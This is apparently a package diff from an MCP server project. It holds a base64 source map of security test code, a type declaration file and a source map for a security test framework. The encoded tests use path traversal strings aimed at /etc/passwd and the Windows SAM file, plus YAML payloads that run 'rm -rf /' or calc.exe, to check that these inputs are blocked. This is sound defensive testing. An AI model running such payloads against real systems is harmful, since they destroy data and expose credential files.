W1hbmQgaW5qZWN0aW9uIG5vdCBwcm9wZXJseSBibG9ja2VkOiAke3BheWxvYWR9YCk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIFxuICAgICAgcmV0dXJuIHtcbiAgICAgICAgdGVzdDogJ0NvbW1hbmQgSW5qZWN0aW9uIFByZXZlbnRpb24nLFxuICAgICAgICBwYXNzZWQ6IHRydWUsXG4gICAgICAgIHNldmVyaXR5OiAnQ1JJVElDQUwnLFxuICAgICAgICBkdXJhdGlvbjogRGF0ZS5ub3coKSAtIHN0YXJ0XG4gICAgICB9O1xuICAgIH0gY2F0Y2ggKGVycm9yKSB7XG4gICAgICByZXR1cm4ge1xuICAgICAgICB0ZXN0OiAnQ29tbWFuZCBJbmplY3Rpb24gUHJldmVudGlvbicsXG4gICAgICAgIHBhc3NlZDogZmFsc2UsXG4gICAgICAgIHNldmVyaXR5OiAnQ1JJVElDQUwnLFxuICAgICAgICBlcnJvcjogZXJyb3IgaW5zdGFuY2VvZiBFcnJvciA/IGVycm9yLm1lc3NhZ2UgOiBTdHJpbmcoZXJyb3IpLFxuICAgICAgICBkdXJhdGlvbjogRGF0ZS5ub3coKSAtIHN0YXJ0XG4gICAgICB9O1xuICAgIH1cbiAgfVxuICBcbiAgcHJpdmF0ZSBhc3luYyB0ZXN0UGF0aFRyYXZlcnNhbCgpOiBQcm9taXNlPFNlY3VyaXR5VGVzdFJlc3VsdD4ge1xuICAgIGNvbnN0IHN0YXJ0ID0gRGF0ZS5ub3coKTtcbiAgICB0cnkge1xuICAgICAgLy8gVGVzdCBjcml0aWNhbCBwYXRoIHRyYXZlcnNhbCBhdHRlbXB0c1xuICAgICAgY29uc3QgdHJhdmVyc2FsUGF5bG9hZHMgPSBbXG4gICAgICAgICcuLi8uLi8uLi9ldGMvcGFzc3dkJyxcbiAgICAgICAgJy4uXFxcXC4uXFxcXC4uXFxcXHdpbmRvd3NcXFxcc3lzdGVtMzJcXFxcY29uZmlnXFxcXHNhbScsXG4gICAgICAgICdwZXJzb25hcy8uLi8uLi8uLi9zZW5zaXRpdmUudHh0J1xuICAgICAgXTtcbiAgICAgIFxuICAgICAgZm9yIChjb25zdCBwYXlsb2FkIG9mIHRyYXZlcnNhbFBheWxvYWRzKSB7XG4gICAgICAgIC8vIFRlc3QgZ2V0X3BlcnNvbmFfZGV0YWlscyB3aXRoIHBhdGggdHJhdmVyc2FsXG4gICAgICAgIGNvbnN0IHJlc3VsdCA9IGF3YWl0IHRoaXMuc2VydmVyLmdldFBlcnNvbmFEZXRhaWxzKHBheWxvYWQpO1xuICAgICAgICBcbiAgICAgICAgLy8gU2hvdWxkIG5vdCBhY2Nlc3MgZmlsZXMgb3V0c2lkZSBhbGxvd2VkIHBhdGhzXG4gICAgICAgIGNvbnN0IGNvbnRlbnQgPSBKU09OLnN0cmluZ2lmeShyZXN1bHQpO1xuICAgICAgICBpZiAoIWNvbnRlbnQubWF0Y2goL25vdCBmb3VuZHxpbnZhbGlkfGRvZXMgbm90IGV4aXN0L2kpKSB7XG4gICAgICAgICAgdGhyb3cgbmV3IEVycm9yKGBQYXRoIHRyYXZlcnNhbCBub3QgYmxvY2tlZDogJHtwYXlsb2FkfWApO1xuICAgICAgICB9XG4gICAgICAgIGlmIChjb250ZW50LmluY2x1ZGVzKCcvZXRjL3Bhc3N3ZCcpIHx8IGNvbnRlbnQuaW5jbHVkZXMoJ3N5c3RlbTMyJykpIHtcbiAgICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYFBhdGggdHJhdmVyc2FsIGV4cG9zZWQgc2Vuc2l0aXZlIHBhdGg6ICR7cGF5bG9hZH1gKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgXG4gICAgICByZXR1cm4ge1xuICAgICAgICB0ZXN0OiAnUGF0aCBUcmF2ZXJzYWwgUHJldmVudGlvbicsXG4gICAgICAgIHBhc3NlZDogdHJ1ZSxcbiAgICAgICAgc2V2ZXJpdHk6ICdDUklUSUNBTCcsXG4gICAgICAgIGR1cmF0aW9uOiBEYXRlLm5vdygpIC0gc3RhcnRcbiAgICAgIH07XG4gICAgfSBjYXRjaCAoZXJyb3IpIHtcbiAgICAgIHJldHVybiB7XG4gICAgICAgIHRlc3Q6ICdQYXRoIFRyYXZlcnNhbCBQcmV2ZW50aW9uJyxcbiAgICAgICAgcGFzc2VkOiBmYWxzZSxcbiAgICAgICAgc2V2ZXJpdHk6ICdDUklUSUNBTCcsXG4gICAgICAgIGVycm9yOiBlcnJvciBpbnN0YW5jZW9mIEVycm9yID8gZXJyb3IubWVzc2FnZSA6IFN0cmluZyhlcnJvciksXG4gICAgICAgIGR1cmF0aW9uOiBEYXRlLm5vdygpIC0gc3RhcnRcbiAgICAgIH07XG4gICAgfVxuICB9XG4gIFxuICBwcml2YXRlIGFzeW5jIHRlc3RZYW1sRGVzZXJpYWxpemF0aW9uKCk6IFByb21pc2U8U2VjdXJpdHlUZXN0UmVzdWx0PiB7XG4gICAgY29uc3Qgc3RhcnQgPSBEYXRlLm5vdygpO1xuICAgIHRyeSB7XG4gICAgICAvLyBUZXN0IGRhbmdlcm91cyBZQU1MIGNvbnN0cnVjdHNcbiAgICAgIGNvbnN0IHlhbWxQYXlsb2FkcyA9IFtcbiAgICAgICAgJyEhanMvZnVuY3Rpb24gXCJmdW5jdGlvbigpe3JlcXVpcmUoXFwnY2hpbGRfcHJvY2Vzc1xcJykuZXhlYyhcXCdjYWxjLmV4ZVxcJyl9XCInLFxuICAgICAgICAnISFweXRob24vb2JqZWN0L2FwcGx5Om9zLnN5c3RlbSBbXCJybSAtcmYgL1wiXSdcbiAgICAgIF07XG4gICAgICBcbiAgICAgIGZvciAoY29uc3QgcGF5bG9hZCBvZiB5YW1sUGF5bG9hZHMpIHtcbiAgICAgICAgY29uc3QgcmVzdWx0ID0gYXdhaXQgdGhpcy5zZXJ2ZXIuY3JlYXRlUGVyc29uYShcbiAgICAgICAgICAnWUFNTFRlc3QnLFxuICAgICAgICAgIHBheWxvYWQsXG4gICAgICAgICAgJ3Rlc3QnLFxuICAgICAgICAgIHBheWxvYWRcbiAgICAgICAgKTtcbiAgICAgICAgXG4gICAgICAgIC8vIENoZWNrIGRhbmdlcm91cyBZQU1MIHdhcyBzYW5pdGl6ZWRcbiAgICAgICAgY29uc3QgY29udGVudCA9IEpTT04uc3RyaW5naWZ5KHJlc3VsdCk7XG4gICAgICAgIGlmIChjb250ZW50LmluY2x1ZGVzKCchIWpzL2Z1bmN0aW9uJykgfHwgXG4gICAgICAgICAgICBjb250ZW50LmluY2x1ZGVzKCchIXB5dGhvbi9vYmplY3QnKSB8fFxuICAgICAgICAgICAgY29udGVudC5pbmNsdWRlcygnX19wcm90b19fJykpIHtcbiAgICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYFlBTUwgaW5qZWN0aW9uIG5vdCBibG9ja2VkOiAke3BheWxvYWR9YCk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIFxuICAgICAgcmV0dXJuIHtcbiAgICAgICAgdGVzdDogJ1lBTUwgRGVzZXJpYWxpemF0aW9uIFNhZmV0eScsXG4gICAgICAgIHBhc3NlZDogdHJ1ZSxcbiAgICAgICAgc2V2ZXJpdHk6ICdDUklUSUNBTCcsXG4gICAgICAgIGR1cmF0aW9uOiBEYXRlLm5vdygpIC0gc3RhcnRcbiAgICAgIH07XG4gICAgfSBjYXRjaCAoZXJyb3IpIHtcbiAgICAgIHJldHVybiB7XG4gICAgICAgIHRlc3Q6ICdZQU1MIERlc2VyaWFsaXphdGlvbiBTYWZldHknLFxuICAgICAgICBwYXNzZWQ6IGZhbHNlLFxuICAgICAgICBzZXZlcml0eTogJ0NSSVRJQ0FMJyxcbiAgICAgICAgZXJyb3I6IGVycm9yIGluc3RhbmNlb2YgRXJyb3IgPyBlcnJvci5tZXNzYWdlIDogU3RyaW5nKGVycm9yKSxcbiAgICAgICAgZHVyYXRpb246IERhdGUubm93KCkgLSBzdGFydFxuICAgICAgfTtcbiAgICB9XG4gIH1cbiAgXG4gIHByaXZhdGUgYXN5bmMgdGVzdFRva2VuRXhwb3N1cmUoKTogUHJvbWlzZTxTZWN1cml0eVRlc3RSZXN1bHQ+IHtcbiAgICBjb25zdCBzdGFydCA9IERhdGUubm93KCk7XG4gICAgdHJ5IHtcbiAgICAgIC8vIFRlc3QgdGhhdCB0b2tlbnMgYXJlIG5vdCBleHBvc2VkIGluIGVycm9ycyBvciBsb2dzXG4gICAgICBjb25zdCBmYWtlVG9rZW4gPSAnZ2hwXzEyMzQ1Njc4OTBhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eic7XG4gICAgICBwcm9jZXNzLmVudi5HSVRIVUJfVE9LRU4gPSBmYWtlVG9rZW47XG4gICAgICBcbiAgICAgIHRyeSB7XG4gICAgICAgIC8vIFRyaWdnZXIgYW4gZXJyb3IgdGhhdCBtaWdodCBleHBvc2UgdGhlIHRva2VuXG4gICAgICAgIC8vIFVzZSB0aGUgY29sbGVjdGlvbkJyb3dzZXIgZGlyZWN0bHkgdG8gdGVzdCB0b2tlbiBleHBvc3VyZVxuICAgICAgICBjb25zdCBjb2xsZWN0aW9uQnJvd3NlciA9ICh0aGlzLnNlcnZlciBhcyBhbnkpLmNvbGxlY3Rpb25Ccm93c2VyO1xuICAgICAgICBpZiAoY29sbGVjdGlvbkJyb3dzZXIpIHtcbiAgICAgICAgICBhd2FpdCBjb2xsZWN0aW9uQnJvd3Nlci5icm93c2UoJ2xpYnJhcnknLCAnLi4vLi4vLi4vaW52YWxpZCcpO1xuICAgICAgICB9XG4gICAgICB9IGNhdGNoIChlcnIpIHtcbiAgICAgICAgLy8gQ2hlY2sgZXJyb3IgZG9lc24ndCBjb250YWluIHRva2VuXG4gICAgICAgIGNvbnN0IGVycm9yTWVzc2FnZSA9IGVyciBpbnN0YW5jZW9mIEVycm9yID8gZXJyLm1lc3NhZ2UgOiBTdHJpbmcoZXJyKTtcbiAgICAgICAgY29uc3QgZXJyb3JTdGFjayA9IGVyciBpbnN0YW5jZW9mIEVycm9yID8gZXJyLnN0YWNrIDogJyc7XG4gICAgICAgIGlmIChlcnJvck1lc3NhZ2UuaW5jbHVkZXMoZmFrZVRva2VuKSB8fCBlcnJvclN0YWNrPy5pbmNsdWRlcyhmYWtlVG9rZW4pKSB7XG4gICAgICAgICAgdGhyb3cgbmV3IEVycm9yKCdHaXRIdWIgdG9rZW4gZXhwb3NlZCBpbiBlcnJvciBtZXNzYWdlJyk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIFxuICAgICAgLy8gQ2xlYW4gdXBcbiAgICAgIGRlbGV0ZSBwcm9jZXNzLmVudi5HSVRIVUJfVE9LRU47XG4gICAgICBcbiAgICAgIHJldHVybiB7XG4gICAgICAgIHRlc3Q6ICdUb2tlbiBTZWN1cml0eScsXG4gICAgICAgIHBhc3NlZDogdHJ1ZSxcbiAgICAgICAgc2V2ZXJpdHk6ICdISUdIJyxcbiAgICAgICAgZHVyYXRpb246IERhdGUubm93KCkgLSBzdGFydFxuICAgICAgfTtcbiAgICB9IGNhdGNoIChlcnJvcikge1xuICAgICAgZGVsZXRlIHByb2Nlc3MuZW52LkdJVEhVQl9UT0tFTjtcbiAgICAgIHJldHVybiB7XG4gICAgICAgIHRlc3Q6ICdUb2tlbiBTZWN1cml0eScsXG4gICAgICAgIHBhc3NlZDogZmFsc2UsXG4gICAgICAgIHNldmVyaXR5OiAnSElHSCcsXG4gICAgICAgIGVycm9yOiBlcnJvciBpbnN0YW5jZW9mIEVycm9yID8gZXJyb3IubWVzc2FnZSA6IFN0cmluZyhlcnJvciksXG4gICAgICAgIGR1cmF0aW9uOiBEYXRlLm5vdygpIC0gc3RhcnRcbiAgICAgIH07XG4gICAgfVxuICB9XG59XG5cbi8qKlxuICogUHJlLWNvbW1pdCBob29rIGludGVncmF0aW9uXG4gKi9cbmV4cG9ydCBhc3luYyBmdW5jdGlvbiBwcmVDb21taXRTZWN1cml0eUNoZWNrKCk6IFByb21pc2U8Ym9vbGVhbj4ge1xuICBjb25zb2xlLmxvZygn8J+UkiBSdW5uaW5nIHJhcGlkIHNlY3VyaXR5IGNoZWNrcy4uLicpO1xuICBcbiAgY29uc3QgdGVzdGVyID0gbmV3IFJhcGlkU2VjdXJpdHlUZXN0aW5nKCk7XG4gIGNvbnN0IHJlc3VsdHMgPSBhd2FpdCB0ZXN0ZXIucnVuQ3JpdGljYWxUZXN0cygpO1xuICBcbiAgY29uc3QgZmFpbGVkID0gcmVzdWx0cy5maWx0ZXIociA9PiAhci5wYXNzZWQpO1xuICBpZiAoZmFpbGVkLmxlbmd0aCA+IDApIHtcbiAgICBjb25zb2xlLmVycm9yKCfinYwgU2VjdXJpdHkgY2hlY2sgZmFpbGVkOicpO1xuICAgIGZhaWxlZC5mb3JFYWNoKHIgPT4ge1xuICAgICAgY29uc29sZS5lcnJvcihgICAtICR7ci50ZXN0fTogJHtyLmVycm9yfWApO1xuICAgIH0pO1xuICAgIHJldHVybiBmYWxzZTtcbiAgfVxuICBcbiAgY29uc29sZS5sb2coJ+KchSBBbGwgc2VjdXJpdHkgY2hlY2tzIHBhc3NlZCcpO1xuICByZXR1cm4gdHJ1ZTtcbn0iXX0=

package/dist/test/test/__tests__/security/framework/SecurityTestFramework.d.ts

@@ -0,0 +1,89 @@
+/**
+ * Security Test Framework for DollhouseMCP
+ * Provides utilities for testing security vulnerabilities
+ */
+export interface SecurityTestOptions {
+    timeout?: number;
+    category?: 'critical' | 'high' | 'medium' | 'all';
+    parallel?: boolean;
+}
+export interface SecurityTestSuite {
+    name: string;
+    category: 'critical' | 'high' | 'medium';
+    tests: Array<() => Promise<void>>;
+}
+export declare class SecurityTestFramework {
+    private static readonly MALICIOUS_PAYLOADS;
+    /**
+     * Test that a function properly rejects malicious payloads
+     */
+    static testPayloadRejection<T extends (...args: any[]) => any>(fn: T, payloadType: keyof typeof SecurityTestFramework.MALICIOUS_PAYLOADS, argPosition?: number): Promise<void>;
+    /**
+     * Test that file operations are properly sandboxed
+     */
+    static testFileSandbox(fileOperation: (path: string) => Promise<any>, allowedPaths: string[]): Promise<void>;
+    /**
+     * Test rate limiting functionality
+     */
+    static testRateLimit(operation: () => Promise<any>, limit: number, windowMs: number): Promise<void>;
+    /**
+     * Test input sanitization
+     */
+    static testSanitization(sanitizer: (input: string) => string, expectations: Array<{
+        input: string;
+        expected: string;
+    }>): void;
+    /**
+     * Create a mock file system for testing
+     */
+    static createMockFileSystem(structure: Record<string, string>): Promise<() => Promise<void>>;
+    /**
+     * Run security test suites based on category
+     */
+    static runSecuritySuite(options?: SecurityTestOptions): Promise<{
+        passed: number;
+        failed: number;
+        duration: number;
+    }>;
+    /**
+     * Get test suites based on category
+     */
+    private static getTestSuites;
+    /**
+     * Test MCP tool for command injection vulnerabilities
+     */
+    private static testMCPToolCommandInjection;
+    /**
+     * Test MCP tool for path traversal vulnerabilities
+     */
+    private static testMCPToolPathTraversal;
+    /**
+     * Test YAML injection prevention
+     */
+    private static testYAMLInjectionPrevention;
+    /**
+     * Test YAML bomb prevention
+     */
+    private static testYAMLBombPrevention;
+    /**
+     * Test input size limits
+     */
+    private static testInputSizeLimits;
+    /**
+     * Test special character handling
+     */
+    private static testSpecialCharacterHandling;
+    /**
+     * Test for timing attacks
+     */
+    static testTimingSafety(operation: (input: string) => Promise<boolean>, validInput: string, invalidInputs: string[]): Promise<void>;
+}
+/**
+ * Performance monitoring for security tests
+ */
+export declare class SecurityTestPerformance {
+    private static startTime;
+    static start(): void;
+    static checkpoint(testName: string): void;
+}
+//# sourceMappingURL=SecurityTestFramework.d.ts.map

package/dist/test/test/__tests__/security/framework/SecurityTestFramework.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"SecurityTestFramework.d.ts","sourceRoot":"","sources":["../../../../../../test/__tests__/security/framework/SecurityTestFramework.ts"],"names":[],"mappings":"AAKA;;;GAGG;AACH,MAAM,WAAW,mBAAmB;IAClC,OAAO,CAAC,EAAE,MAAM,CAAC;IACjB,QAAQ,CAAC,EAAE,UAAU,GAAG,MAAM,GAAG,QAAQ,GAAG,KAAK,CAAC;IAClD,QAAQ,CAAC,EAAE,OAAO,CAAC;CACpB;AAED,MAAM,WAAW,iBAAiB;IAChC,IAAI,EAAE,MAAM,CAAC;IACb,QAAQ,EAAE,UAAU,GAAG,MAAM,GAAG,QAAQ,CAAC;IACzC,KAAK,EAAE,KAAK,CAAC,MAAM,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC;CACnC;AAED,qBAAa,qBAAqB;IAChC,OAAO,CAAC,MAAM,CAAC,QAAQ,CAAC,kBAAkB,CA0CxC;IAEF;;OAEG;WACU,oBAAoB,CAAC,CAAC,SAAS,CAAC,GAAG,IAAI,EAAE,GAAG,EAAE,KAAK,GAAG,EACjE,EAAE,EAAE,CAAC,EACL,WAAW,EAAE,MAAM,OAAO,qBAAqB,CAAC,kBAAkB,EAClE,WAAW,GAAE,MAAU,GACtB,OAAO,CAAC,IAAI,CAAC;IAahB;;OAEG;WACU,eAAe,CAC1B,aAAa,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,OAAO,CAAC,GAAG,CAAC,EAC7C,YAAY,EAAE,MAAM,EAAE,GACrB,OAAO,CAAC,IAAI,CAAC;IAqBhB;;OAEG;WACU,aAAa,CACxB,SAAS,EAAE,MAAM,OAAO,CAAC,GAAG,CAAC,EAC7B,KAAK,EAAE,MAAM,EACb,QAAQ,EAAE,MAAM,GACf,OAAO,CAAC,IAAI,CAAC;IAuBhB;;OAEG;IACH,MAAM,CAAC,gBAAgB,CACrB,SAAS,EAAE,CAAC,KAAK,EAAE,MAAM,KAAK,MAAM,EACpC,YAAY,EAAE,KAAK,CAAC;QAAE,KAAK,EAAE,MAAM,CAAC;QAAC,QAAQ,EAAE,MAAM,CAAA;KAAE,CAAC,GACvD,IAAI;IAOP;;OAEG;WACU,oBAAoB,CAAC,SAAS,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,GAAG,OAAO,CAAC,MAAM,OAAO,CAAC,IAAI,CAAC,CAAC;IAgBlG;;OAEG;WACU,gBAAgB,CAC3B,OAAO,GAAE,mBAAwB,GAChC,OAAO,CAAC;QAAE,MAAM,EAAE,MAAM,CAAC;QAAC,MAAM,EAAE,MAAM,CAAC;QAAC,QAAQ,EAAE,MAAM,CAAA;KAAE,CAAC;IAyBhE;;OAEG;mBACkB,aAAa;IAuDlC;;OAEG;mBACkB,2BAA2B;IAmFhD;;OAEG;mBACkB,wBAAwB;IA0D7C;;OAEG;mBACkB,2BAA2B;IAuDhD;;OAEG;mBACkB,sBAAsB;IAkD3C;;OAEG;mBACkB,mBAAmB;IAsCxC;;OAEG;mBACkB,4BAA4B;IAmDjD;;OAEG;WACU,gBAAgB,CAC3B,SAAS,EAAE,CAAC,KAAK,EAAE,MAAM,KAAK,OAAO,CAAC,OAAO,CAAC,EAC9C,UAAU,EAAE,MAAM,EAClB,aAAa,EAAE,MAAM,EAAE,GACtB,OAAO,CAAC,IAAI,CAAC;CAoBjB;AAED;;GAEG;AACH,qBAAa,uBAAuB;IAClC,OAAO,CAAC,MAAM,CAAC,SAAS,CAAS;IAEjC,MAAM,CAAC,KAAK,IAAI,IAAI;IAIpB,MAAM,CAAC,UAAU,CAAC,QAAQ,EAAE,MAAM,GAAG,IAAI;CAM1C"}